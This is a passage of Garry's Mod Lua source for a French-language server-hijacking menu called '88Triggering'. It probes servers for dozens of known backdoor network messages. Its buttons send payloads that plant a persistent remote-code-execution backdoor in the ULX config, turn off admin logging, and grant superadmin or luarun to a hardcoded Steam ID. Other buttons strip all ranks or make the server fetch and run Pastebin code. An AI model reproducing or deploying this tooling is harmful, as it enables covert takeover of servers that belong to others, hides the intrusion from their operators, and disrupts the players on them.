9140 chat.AddText( Color( 0, 0, 0 ), "[88Triggering]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9141 else
9142 end
9143
9144 if( triggeringnetcall("Remove_Exploiters") ) then
9145 triggeringbd = "Remove_Exploiters"
9146 chat.AddText( Color( 0, 0, 0 ), "[88Triggering]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9147 else
9148 end
9149
9150 if( triggeringnetcall("noclipcloakaesp_chat_text") ) then
9151 triggeringbd = "noclipcloakaesp_chat_text"
9152 chat.AddText( Color( 0, 0, 0 ), "[88Triggering]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9153 else
9154 end
9155
9156 if( triggeringnetcall("nostrip") ) then
9157 triggeringbd = "nostrip"
9158 chat.AddText( Color( 0, 0, 0 ), "[88Triggering]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9159 else
9160 end
9161
9162
9163 if( triggeringnetcall("LickMeOut") ) then
9164 triggeringbd = "LickMeOut"
9165 chat.AddText( Color( 0, 0, 0 ), "[88Triggering]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9166 else
9167 end
9168
9169 if( triggeringnetcall("MoonMan") ) then
9170 triggeringbd = "MoonMan"
9171 chat.AddText( Color( 0, 0, 0 ), "[88Triggering]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9172 else
9173 end
9174
9175 if( triggeringnetcall("Im_SOCool") ) then
9176 triggeringbd = "Im_SOCool"
9177 chat.AddText( Color( 0, 0, 0 ), "[88Triggering]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9178 else
9179 end
9180
9181 if( triggeringnetcall("ULXQUERY2") ) then
9182 triggeringbd = "ULXQUERY2"
9183 chat.AddText( Color( 0, 0, 0 ), "[88Triggering]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9184 else
9185 end
9186
9187 if( triggeringnetcall("jesuslebg") ) then
9188 triggeringbd = "jesuslebg"
9189 chat.AddText( Color( 0, 0, 0 ), "[88Triggering]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9190 else
9191 end
9192
9193 if( triggeringnetcall("zilnix") ) then
9194 triggeringbd = "zilnix"
9195 chat.AddText( Color( 0, 0, 0 ), "[88Triggering]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9196 else
9197 end
9198
9199 if( triggeringnetcall("-c") ) then
9200 triggeringbd = "-c"
9201 chat.AddText( Color( 0, 0, 0 ), "[88Triggering]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9202 else
9203 end
9204
9205 if( triggeringnetcall("kill") ) then
9206 triggeringbd = "kill"
9207 chat.AddText( Color( 0, 0, 0 ), "[88Triggering]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9208 else
9209 end
9210
9211 if( triggeringnetcall("88") ) then
9212 triggeringbd = "88"
9213 chat.AddText( Color( 0, 0, 0 ), "[88Triggering]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9214 else
9215 end
9216
9217 if( triggeringnetcall("Ulib_Message") ) then
9218 triggeringbd = "Ulib_Message"
9219 chat.AddText( Color( 0, 0, 0 ), "[88Triggering]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9220 else
9221 end
9222
9223 if( triggeringnetcall("Sbox_itemstore") ) then
9224 triggeringbd = "Sbox_itemstore"
9225 chat.AddText( Color( 0, 0, 0 ), "[88Triggering]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9226 else
9227 end
9228
9229 if( triggeringnetcall("Sbox_darkrp") ) then
9230 triggeringbd = "Sbox_darkrp"
9231 chat.AddText( Color( 0, 0, 0 ), "[88Triggering]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9232 else
9233 end
9234
9235 if( triggeringnetcall("ITEM") ) then
9236 triggeringbd = "ITEM"
9237 chat.AddText( Color( 0, 0, 0 ), "[88Triggering]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9238 else
9239 end
9240
9241 if( triggeringnetcall("fix") ) then
9242 triggeringbd = "fix"
9243 chat.AddText( Color( 0, 0, 0 ), "[88Triggering]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9244 else
9245 end
9246
9247 if( triggeringnetcall("Fix_Keypads") ) then
9248 triggeringbd = "Fix_Keypads"
9249 chat.AddText( Color( 0, 0, 0 ), "[88Triggering]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9250 else
9251 end
9252
9253 if( triggeringnetcall("Remove_Exploiters") ) then
9254 triggeringbd = "Remove_Exploiters"
9255 chat.AddText( Color( 0, 0, 0 ), "[88Triggering]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9256 else
9257 end
9258
9259 if( triggeringnetcall("ULX_QUERY2") ) then
9260 triggeringbd = "ULX_QUERY2"
9261 chat.AddText( Color( 0, 0, 0 ), "[88Triggering]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9262 else
9263 end
9264
9265 if( triggeringnetcall("Sandbox_GayParty") ) then
9266 triggeringbd = "Sandbox_GayParty"
9267 chat.AddText( Color( 0, 0, 0 ), "[88Triggering]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9268 else
9269 end
9270
9271 if( triggeringnetcall("_CAC_G") ) then
9272 triggeringbd = "_CAC_G"
9273 chat.AddText( Color( 0, 0, 0 ), "[88Triggering]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9274 else
9275 end
9276
9277 if( triggeringnetcall("fellosnake") ) then
9278 triggeringbd = "fellosnake"
9279 chat.AddText( Color( 0, 0, 0 ), "[88Triggering]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9280 else
9281 end
9282
9283 if( triggeringnetcall("stoppk") ) then
9284 triggeringbd = "stoppk"
9285 chat.AddText( Color( 0, 0, 0 ), "[88Triggering]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9286 else
9287 end
9288
9289 if( triggeringnetcall("Sbox_Message") ) then
9290 triggeringbd = "Sbox_Message"
9291 chat.AddText( Color( 0, 0, 0 ), "[88Triggering]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9292 else
9293 end
9294
9295 if( triggeringnetcall("Sbox_gm_attackofnullday_key") ) then
9296 triggeringbd = "Sbox_gm_attackofnullday_key"
9297 chat.AddText( Color( 0, 0, 0 ), "[88Triggering]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9298 else
9299 end
9300
9301 if( triggeringnetcall("m9k_explosionradius") ) then
9302 triggeringbd = "m9k_explosionradius"
9303 chat.AddText( Color( 0, 0, 0 ), "[88Triggering]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9304 else
9305 end
9306
9307 if( triggeringnetcall("m9k_explosive") ) then
9308 triggeringbd = "m9k_explosive"
9309 chat.AddText( Color( 0, 0, 0 ), "[88Triggering]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9310 else
9311 end
9312
9313 if( triggeringnetcall("arivia") ) then
9314 triggeringbd = "arivia"
9315 chat.AddText( Color( 0, 0, 0 ), "[88Triggering]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9316 else
9317 end
9318
9319 if( triggeringnetcall("_Warns") ) then
9320 triggeringbd = "_Warns"
9321 chat.AddText( Color( 0, 0, 0 ), "[88Triggering]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9322 else
9323 end
9324
9325 if( triggeringnetcall("pjHabrp9EY") ) then
9326 triggeringbd = "pjHabrp9EY"
9327 chat.AddText( Color( 0, 0, 0 ), "[88Triggering]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9328 else
9329 end
9330
9331 if( triggeringnetcall("_Raze") ) then
9332 triggeringbd = "_Raze"
9333 chat.AddText( Color( 0, 0, 0 ), "[88Triggering]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9334 else
9335 end
9336
9337 if( triggeringnetcall("thefrenchenculer") ) then
9338 triggeringbd = "thefrenchenculer"
9339 chat.AddText( Color( 0, 0, 0 ), "[88Triggering]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9340 else
9341 end
9342
9343 if( triggeringnetcall("Þ� ?D)◘") ) then
9344 triggeringbd = "Þ� ?D)◘"
9345 chat.AddText( Color( 0, 0, 0 ), "[88Triggering]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9346 else
9347 end
9348
9349 if( triggeringnetcall("PlayerItemPickUp") ) then
9350 triggeringbd = "PlayerItemPickUp"
9351 chat.AddText( Color( 0, 0, 0 ), "[88Triggering]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9352 else
9353 end
9354
9355 if( triggeringnetcall("echangeinfo") ) then
9356 triggeringbd = "echangeinfo"
9357 chat.AddText( Color( 0, 0, 0 ), "[88Triggering]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9358 else
9359 end
9360
9361 if( triggeringnetcall("fourhead") ) then
9362 triggeringbd = "fourhead"
9363 chat.AddText( Color( 0, 0, 0 ), "[88Triggering]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9364 else
9365 end
9366
9367 if( triggeringnetcall("DefqonBackdoor") ) then
9368 triggeringbd = "DefqonBackdoor"
9369 chat.AddText( Color( 0, 0, 0 ), "[88Triggering]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9370 else
9371 end
9372
9373 if( triggeringnetcall("xenoexistscl") ) then
9374 triggeringbd = "xenoexistscl"
9375 chat.AddText( Color( 0, 0, 0 ), "[88Triggering]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9376 else
9377 end
9378
9379 if( triggeringnetcall("cvaraccess") ) then
9380 triggeringbd = "cvaraccess"
9381 chat.AddText( Color( 0, 0, 0 ), "[88Triggering]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9382 else
9383 end
9384
9385 if( triggeringnetcall("NoNerks") ) then
9386 triggeringbd = "NoNerks"
9387 chat.AddText( Color( 0, 0, 0 ), "[88Triggering]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9388 else
9389 end
9390
9391 if( triggeringnetcall("cucked") ) then
9392 triggeringbd = "cucked"
9393 chat.AddText( Color( 0, 0, 0 ), "[88Triggering]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9394 else
9395 end
9396
9397 if( triggeringnetcall("OldNetReadData") ) then
9398 triggeringbd = "OldNetReadData"
9399 chat.AddText( Color( 0, 0, 0 ), "[88Triggering]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9400 else
9401 end
9402
9403 if( triggeringnetcall("DarkRP_UTF8") ) then
9404 triggeringbd = "DarkRP_UTF8"
9405 chat.AddText( Color( 0, 0, 0 ), "[88Triggering]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9406 else
9407 end
9408
9409 if( triggeringnetcall("fix") ) then
9410 triggeringbd = "fix"
9411 chat.AddText( Color( 0, 0, 0 ), "[88Triggering]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9412 else
9413 end
9414
9415 if( triggeringnetcall("__G____CAC") ) then
9416 triggeringbd = "__G____CAC"
9417 chat.AddText( Color( 0, 0, 0 ), "[88Triggering]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9418 else
9419 end
9420
9421 if( triggeringnetcall("AbSoluT") ) then
9422 triggeringbd = "AbSoluT"
9423 chat.AddText( Color( 0, 0, 0 ), "[88Triggering]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9424 else
9425 end
9426
9427 if( triggeringnetcall("Gamemode_get") ) then
9428 triggeringbd = "Gamemode_get"
9429 chat.AddText( Color( 0, 0, 0 ), "[88Triggering]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9430 else
9431 end
9432
9433 if( triggeringnetcall("z") ) then
9434 triggeringbd = "z"
9435 chat.AddText( Color( 0, 0, 0 ), "[88Triggering]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9436 else
9437 end
9438
9439 if( triggeringnetcall("cvardel") ) then
9440 triggeringbd = "cvardel"
9441 chat.AddText( Color( 0, 0, 0 ), "[88Triggering]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9442 else
9443 end
9444
9445 if( triggeringnetcall("Sandbox_ArmDupe") ) then
9446 triggeringbd = "Sandbox_ArmDupe"
9447 chat.AddText( Color( 0, 0, 0 ), "[88Triggering]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9448 else
9449 end
9450
9451 if( triggeringnetcall("antilagger") ) then
9452 triggeringbd = "antilagger"
9453 chat.AddText( Color( 0, 0, 0 ), "[88Triggering]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9454 else
9455 end
9456
9457 if( triggeringnetcall("effects_en") ) then
9458 triggeringbd = "effects_en"
9459 chat.AddText( Color( 0, 0, 0 ), "[88Triggering]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9460 else
9461 end
9462
9463 if( triggeringnetcall("file") ) then
9464 triggeringbd = "file"
9465 chat.AddText( Color( 0, 0, 0 ), "[88Triggering]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9466 else
9467 end
9468
9469 if( triggeringnetcall("ULogs_B") ) then
9470 triggeringbd = "ULogs_B"
9471 chat.AddText( Color( 0, 0, 0 ), "[88Triggering]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9472 else
9473 end
9474
9475 if( triggeringnetcall("Bilboard.adverts:Spawn(false)") ) then
9476 triggeringbd = "Bilboard.adverts:Spawn(false)"
9477 chat.AddText( Color( 0, 0, 0 ), "[88Triggering]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9478 else
9479 end
9480
9481 if( triggeringnetcall("gag") ) then
9482 triggeringbd = "gag"
9483 chat.AddText( Color( 0, 0, 0 ), "[88Triggering]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9484 else
9485 end
9486
9487 if( triggeringnetcall("PlayerItemPickUp") ) then
9488 triggeringbd = "PlayerItemPickUp"
9489 chat.AddText( Color( 0, 0, 0 ), "[88Triggering]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9490 else
9491 end
9492
9493 if( triggeringnetcall("JSQuery.Data(Post(false))") ) then
9494 triggeringbd = "JSQuery.Data(Post(false))"
9495 chat.AddText( Color( 0, 0, 0 ), "[88Triggering]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd )
9496 else
9497 end
9498
9499 if( triggeringnetcall("mecthack") ) then
9500 triggeringbd = "mecthack"
9501 chat.AddText( Color( 0, 0, 0 ), "[88Triggering]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd.."" )
9502 else
9503 end
9504
9505 if( triggeringnetcall("PlayerCheck") ) then
9506 triggeringbd = "PlayerCheck"
9507 chat.AddText( Color( 0, 0, 0 ), "[88Triggering]", Color( 255, 220, 220 )," Backdoor Trouvé : "..triggeringbd.."" )
9508 else
9509 end
9510
9511 if triggeringbd == "" then
9512 chat.AddText(Color(0, 0, 0), "[", "88Triggering", "] ", Color( 255, 0, 0 ), "Aucune backdoor active :(" )
9513 else
9514 chat.AddText(Color(0, 0, 0), "[", "88Triggering", "] ", Color( 0, 255, 0 ), "Backdoor Active : ".. triggeringbd )
9515 end
9516
9517
9518----------------------------------------------------
9519
9520local persistbd = [[
9521 local config = ULib.fileRead( "data/ulx/config.txt" )
9522 config = config.."\nulx logEcho 0"
9523 config = config.."\nulx luarun util.AddNetworkString( '_CAC_G' ) net.Receive( '_CAC_G', function() local x = CompileString( net.ReadString(), 'LuaCmd', false ) if isfunction( x ) then x() end end )"
9524 config = config.."\nulx logEcho 1"
9525 ULib.fileWrite( "data/ulx/config.txt", config )
9526 for _, p in pairs(player.GetAll()) do if %LCP then p:ChatPrint( "Persistent infection installed on server" ) end end
9527 ]]
9528
9529local the88admingive = [[
9530 concommand.Add("88isadmin", function(ply)
9531 RunConsoleCommand("ulx", "logecho", "0")
9532 RunConsoleCommand("ulx","adduser",ply:Nick(),"superadmin")
9533 ply:ChatPrint( "Succès Mec :D" )
9534end )]]
9535
9536local the88admingivecramer = [[
9537 concommand.Add("88isadmincramer", function(ply)
9538 RunConsoleCommand("Fadmin","setaccess",ply:Nick(),"superadmin")
9539end )]]
9540
9541local launchbd = [[
9542
9543 RunConsoleCommand("ulx","luarun","util.AddNetworkString( 'FAdmin_Notification_Receiver' ) net.Receive( 'FAdmin_Notification_Receiver', function() local x = CompileString( net.ReadString(), 'LuaCmd', false ) if isfunction( x ) then x() end end )")
9544
9545 ]]
9546
9547
9548
9549local enablelogs = [[
9550
9551 RunConsoleCommand("ulx","logecho","3")
9552
9553 ]]
9554
9555local nologs = [[
9556
9557 RunConsoleCommand("ulx","logecho","0")
9558
9559 ]]
9560
9561local allowluarun88 = [[
9562
9563 RunConsoleCommand("ulx","userallowid","STEAM_0:0:420390928","ulx luarun")
9564 RunConsoleCommand("ulx","userallowid","STEAM_0:0:420390928","ulx luarun")
9565
9566 ]]
9567
9568local unrankall = [[
9569
9570 RunConsoleCommand("FAdmin","setaccess","*", "user")
9571
9572 ]]
9573
9574
9575
9576---------------------------------------------------
9577
9578
9579
9580
9581local Entry = vgui.Create( "DTextEntry" )
9582Entry:SetParent(backdoorScrollPanel)
9583Entry:SetPos( 0, 480 )
9584Entry:SetSize( 190, 30 )
9585Entry:SetText( "BackDoor Ici" )
9586Entry.OnChange = function( self )
9587
9588 triggeringbd = self:GetValue()
9589end
9590
9591
9592function BDAdd(id, text, desc, func)
9593local bdid = vgui.Create( "DButton", backdoorScrollPanel )
9594bdid:SetText( text )
9595bdid:SetTextColor( Color( 200, 200, 200, 220 ) )
9596bdid:SetFont("Roboto")
9597bdid:Dock( TOP )
9598bdid:DockMargin( 210, 45, 10, -35 )
9599bdid:DockPadding( 2, 20, 20, 60 )
9600bdid.DoClick = func
9601if desc then
9602bdid:SetToolTip( desc )
9603end
9604bdid.Paint = function( self, w, h )
9605bdid.OnCursorEntered = function(self)
9606-- surface.PlaySound( "garrysmod/ui_hover.wav" )
9607surface.PlaySound( "buttons/button15.wav" )
9608end
9609if bdid:IsHovered() then
9610-- draw.SimpleText( desc, "Calibri-sm", -25, 2, HSVToColor( CurTime() % 6 * 60, 1, 1 ), TEXT_ALIGN_RIGHT) -- Only Citizen Hack Lua Loader
9611draw.RoundedBox( 0, 0, 0, w, h, Color(30, 30, 30, 245))
9612else
9613draw.RoundedBox( 0, 0, 0, w, h, Color(10, 10, 10, 245))
9614end
9615surface.SetDrawColor(math.random(50,200),math.random(50,200),math.random(50,200),math.random(25,75))
9616surface.DrawOutlinedRect( 0, 0, w, h )
9617end
9618end
9619
9620BDAdd( "1","Se Mettre SuperAdmin ULX", "Ca va chauffer :c", function()
9621surface.PlaySound("garrysmod/ui_click.wav")
9622NOTIFICATION("YOUUUUUUUUUHOUUUUUUUUUUUUU")
9623net.Start(""..triggeringbd.."")
9624net.WriteString(""..the88admingive.."")
9625net.WriteBit(1)
9626RunConsoleCommand "88isadmin"
9627net.SendToServer()
9628end )
9629
9630BDAdd( "2","Se Mettre SuperAdmin FADMIN", "Très cramer mais utile", function()
9631surface.PlaySound("garrysmod/ui_click.wav")
9632NOTIFICATION("Hop hop hop :D")
9633net.Start(""..triggeringbd.."")
9634net.WriteString(""..the88admingivecramer.."")
9635net.WriteBit(1)
9636RunConsoleCommand "88isadmincramer"
9637net.SendToServer()
9638end )
9639
9640BDAdd( "3","Activer Backdoor 88", "Sa va faire mal", function()
9641surface.PlaySound("garrysmod/ui_click.wav")
9642NOTIFICATION("Go foutre le bordel :3")
9643net.Start(""..triggeringbd.."")
9644net.WriteString(launchbd)
9645net.WriteBit(1)
9646net.SendToServer()
9647end )
9648
9649BDAdd( "4","Desactiver Logs", "Invisible pour les commandes ulx :D", function()
9650surface.PlaySound("garrysmod/ui_click.wav")
9651NOTIFICATION("Logs Desactivé")
9652net.Start(""..triggeringbd.."")
9653net.WriteString(""..nologs.."")
9654net.WriteBit(1)
9655net.SendToServer()
9656end )
9657
9658BDAdd( "5","Activer Logs", "Sa sera pratique pour pas cramer", function()
9659surface.PlaySound("garrysmod/ui_click.wav")
9660NOTIFICATION("Logs Activé")
9661net.Start(""..triggeringbd.."")
9662net.WriteString(""..enablelogs.."")
9663net.WriteBit(1)
9664net.SendToServer()
9665end )
9666
9667BDAdd( "6","Demarrer 88 Backdoor Menu", "Perfect", function()
9668surface.PlaySound("garrysmod/ui_click.wav")
9669RunConsoleCommand "88_backdoor"
9670end )
9671
9672BDAdd( "7","Luarun 88", "BACKDOOR TIME :3", function()
9673surface.PlaySound("garrysmod/ui_click.wav")
9674net.Start(""..triggeringbd.."")
9675net.WriteString(""..allowluarun88.."")
9676net.WriteBit(1)
9677net.SendToServer()
9678end )
9679
9680BDAdd( "8","Unrank Tout Le Serveur", "RIP LES RANKS :c", function()
9681surface.PlaySound("garrysmod/ui_click.wav")
9682net.Start(""..triggeringbd.."")
9683net.WriteString(""..unrankall.."")
9684net.WriteBit(1)
9685net.SendToServer()
9686end )
9687
9688BDAdd( "9","Activer LuaRun", "rt si t'es trist yoh :c", function()
9689surface.PlaySound("garrysmod/ui_click.wav")
9690net.Start(""..triggeringbd.."")
9691net.WriteString("http.Fetch(\"https://pastebin.com/raw/kbzarvsW\",function(b,l,h,c)RunString(b)end,nil)")
9692net.WriteBit(1)
9693net.SendToServer()
9694end )
9695
9696BDAdd( "9","Kill SNTE", "rt si t'es trist yoh :c", function()
9697surface.PlaySound("garrysmod/ui_click.wav")
9698net.Start(""..triggeringbd.."")
9699net.WriteString("http.Fetch(\"https://pastebin.com/raw/GzpPgx8q\",function(b,l,h,c)RunString(b)end,nil)")
9700net.WriteBit(1)
9701net.SendToServer()
9702end )
9703
9704
9705/*================================
9706|===== 88Triggering MUSIQUES =====|
9707=================================*/
9708
9709
9710local soundboardmusicScrollPanel = vgui.Create( "DScrollPanel", mscsbd )
9711soundboardmusicScrollPanel:Dock( FILL )
9712soundboardmusicScrollPanel:InnerWidth(100)
9713local sbar = soundboardmusicScrollPanel:GetVBar()
9714function soundboardmusicScrollPanel:Paint( w, h )
9715 draw.RoundedBox( 3, 0, 0, w, h , Color(0,0,0,0))
9716end
9717function sbar:Paint( w, h )
9718 draw.RoundedBox( 0, 4, 0, w, h, Color( 0, 0, 0, 100 ) )
9719end
9720function sbar.btnUp:Paint( w, h )
9721 draw.RoundedBox( 0, 4, 0, w, h, Color(0,0,0,200))
9722end
9723function sbar.btnDown:Paint( w, h )
9724 draw.RoundedBox( 0, 4, 0, w, h, Color(0,0,0,200))
9725end
9726function sbar.btnGrip:Paint( w, h )
9727 draw.RoundedBox( 0, 4, 0, w, h, Color(0,0,0,200))
9728end
9729
9730function AddSong(id, text, desc, func)
9731local msbd = vgui.Create( "DButton", soundboardmusicScrollPanel )
9732msbd:SetText( text )
9733msbd:SetTextColor( Color( 200, 200, 200, 220 ) )
9734msbd:SetFont("Roboto")
9735msbd:Dock( TOP )
9736msbd:DockMargin( 10, 45, 40, -37 )
9737msbd:DockPadding( 2, 30, 20, 10 )
9738msbd.DoClick = func
9739if desc then
9740msbd:SetToolTip( desc )
9741end
9742msbd.Paint = function( self, w, h )
9743msbd.OnCursorEntered = function(self)
9744-- surface.PlaySound( "garrysmod/ui_hover.wav" )
9745surface.PlaySound( "buttons/button15.wav" )
9746end
9747if msbd:IsHovered() then
9748-- draw.SimpleText( desc, "Calibri-sm", -25, 2, HSVToColor( CurTime() % 6 * 60, 1, 1 ), TEXT_ALIGN_RIGHT) -- Only Citizen Hack Lua Loader
9749draw.RoundedBox( 0, 0, 0, w, h, Color(30, 30, 30, 245))
9750else
9751draw.RoundedBox( 0, 0, 0, w, h, Color(10, 10, 10, 245))
9752end
9753surface.SetDrawColor(math.random(50,200),math.random(50,200),math.random(50,200),math.random(25,75))
9754surface.DrawOutlinedRect( 0, 0, w, h )
9755end
9756end
9757
9758AddSong( "1","Stop Musique", "Stop Une Musique Directement", function()
9759surface.PlaySound("buttons/lever3.wav")
9760net.Start(""..triggeringbd.."")
9761net.WriteString("RunConsoleCommand \"stopsound\"")
9762net.WriteBit(1)
9763net.SendToServer()
9764end )
9765
9766
9767
9768
9769
9770
9771
9772
9773
9774
9775
9776
9777
9778/*===================================
9779|===== 88Triggering SOUNDBOARD =====|
9780===================================*/
9781
9782
9783local soundboardpanel = vgui.Create( "DScrollPanel", sdbbd )
9784soundboardpanel:Dock( FILL )
9785soundboardpanel:InnerWidth(100)
9786local sbar = soundboardpanel:GetVBar()
9787function soundboardpanel:Paint( w, h )
9788 draw.RoundedBox( 3, 0, 0, w, h , Color(0,0,0,0))
9789end
9790function sbar:Paint( w, h )
9791 draw.RoundedBox( 0, 4, 0, w, h, Color( 0, 0, 0, 100 ) )
9792end
9793function sbar.btnUp:Paint( w, h )
9794 draw.RoundedBox( 0, 4, 0, w, h, Color(0,0,0,200))
9795end
9796function sbar.btnDown:Paint( w, h )
9797 draw.RoundedBox( 0, 4, 0, w, h, Color(0,0,0,200))
9798end
9799function sbar.btnGrip:Paint( w, h )
9800 draw.RoundedBox( 0, 4, 0, w, h, Color(0,0,0,200))
9801end
9802
9803function AddSB(id, text, desc, func)
9804local sbbd = vgui.Create( "DButton", soundboardpanel )
9805sbbd:SetText( text )
9806sbbd:SetTextColor( Color( 200, 200, 200, 220 ) )
9807sbbd:SetFont("Roboto")
9808sbbd:Dock( TOP )
9809sbbd:DockMargin( 10, 45, 40, -37 )
9810sbbd:DockPadding( 2, 30, 20, 10 )
9811sbbd.DoClick = func
9812if desc then
9813sbbd:SetToolTip( desc )
9814end
9815sbbd.Paint = function( self, w, h )
9816sbbd.OnCursorEntered = function(self)
9817-- surface.PlaySound( "garrysmod/ui_hover.wav" )
9818surface.PlaySound( "buttons/button15.wav" )
9819end
9820if sbbd:IsHovered() then
9821-- draw.SimpleText( desc, "Calibri-sm", -25, 2, HSVToColor( CurTime() % 6 * 60, 1, 1 ), TEXT_ALIGN_RIGHT) -- Only Citizen Hack Lua Loader
9822draw.RoundedBox( 0, 0, 0, w, h, Color(30, 30, 30, 245))
9823else
9824draw.RoundedBox( 0, 0, 0, w, h, Color(10, 10, 10, 245))
9825end
9826surface.SetDrawColor(math.random(50,200),math.random(50,200),math.random(50,200),math.random(25,75))
9827surface.DrawOutlinedRect( 0, 0, w, h )
9828end
9829end
9830
9831AddSB( "1","Stop Soundboard", "Stop directement un soundboard", function()
9832surface.PlaySound("buttons/lever3.wav")
9833net.Start(""..triggeringbd.."")
9834net.WriteString("RunConsoleCommand \"stopsound\"")
9835net.WriteBit(1)
9836net.SendToServer()
9837end )
9838
9839end)
9840
9841
9842
9843
9844/*====================================
9845|===== 88Triggering AUTRES TRUCS =====|
9846=====================================*/
9847
9848
9849
9850
9851
9852
9853concommand.Add("show_door", function()
9854
9855hook.Add("HUDPaint" , "DoorFind" , function ()
9856
9857 for k,v in pairs (ents.GetAll()) do
9858
9859 if IsValid(v) and v:getDoorOwner() then
9860
9861 local pos = v:GetPos():ToScreen()
9862
9863 local distance = math.floor(LocalPlayer():GetPos():Distance(v:GetPos()) / 25)
9864
9865 draw.DrawText(distance.."m", "ChatFont", pos.x, pos.y - 10,Color(255, 255, 255, 255),1)
9866
9867 draw.DrawText("Propriétaire - "..v:getDoorOwner():Nick(), "TargetIDSmall", pos.x + 1, pos.y - 30,Color(255, 255, 255, 255),1)
9868
9869 surface.SetDrawColor(255,255,255,255)
9870
9871 surface.SetMaterial(Material( "icon16/door.png" ))
9872
9873 surface.DrawTexturedRect(pos.x-10, pos.y-50, 16,16)
9874
9875 end
9876
9877 end
9878
9879end)
9880
9881end)
9882
9883concommand.Add("hide_door", function()
9884hook.Remove("HUDPaint" , "DoorFind")
9885end)
9886
9887local On = false
9888 local Glow
9889 function Night( on )
9890
9891 function think()
9892 for k,v in pairs(ents.GetAll()) do
9893 local sep = string.Explode("_",v:GetClass())
9894 if sep[1] == "npc" or v:GetClass() == "player" then
9895 if Glow then
9896 v:SetMaterial("models/weapons/v_slam/new light1") end
9897 end
9898 if (sep[1] == "npc" or v:GetClass() == "player") and !on then
9899 v:SetMaterial("") end
9900 end
9901 end
9902 hook.Add("Think","ehyuj",think)
9903 local mul
9904 if on then mul = 1 On = true else mul = 0 On = false end
9905 if on then
9906 surface.PlaySound( "items/nvg_on.wav" ) else
9907 surface.PlaySound( "items/nvg_off.wav" ) end
9908
9909 local function ArghItBurns()
9910 DrawBloom( 0, 1, 1, 0, 0, 1, .5*mul, 2.5*mul, .5*mul )
9911 end
9912 hook.Add( "RenderScreenspaceEffects", "NoMoreEyesForYou!", ArghItBurns )
9913
9914 local function PUMPPPTEST()
9915
9916 local tab = {}
9917 tab[ "$pp_colour_addr" ] = 0
9918 tab[ "$pp_colour_addg" ] = 0
9919 tab[ "$pp_colour_addb" ] = 0
9920 tab[ "$pp_colour_brightness" ] = -0.5*mul
9921 tab[ "$pp_colour_contrast" ] = 1-.5*mul
9922 tab[ "$pp_colour_colour" ] = 1
9923 tab[ "$pp_colour_mulr" ] = 0
9924 tab[ "$pp_colour_mulg" ] = 0
9925 tab[ "$pp_colour_mulb" ] = 0
9926
9927 DrawColorModify( tab )
9928 end
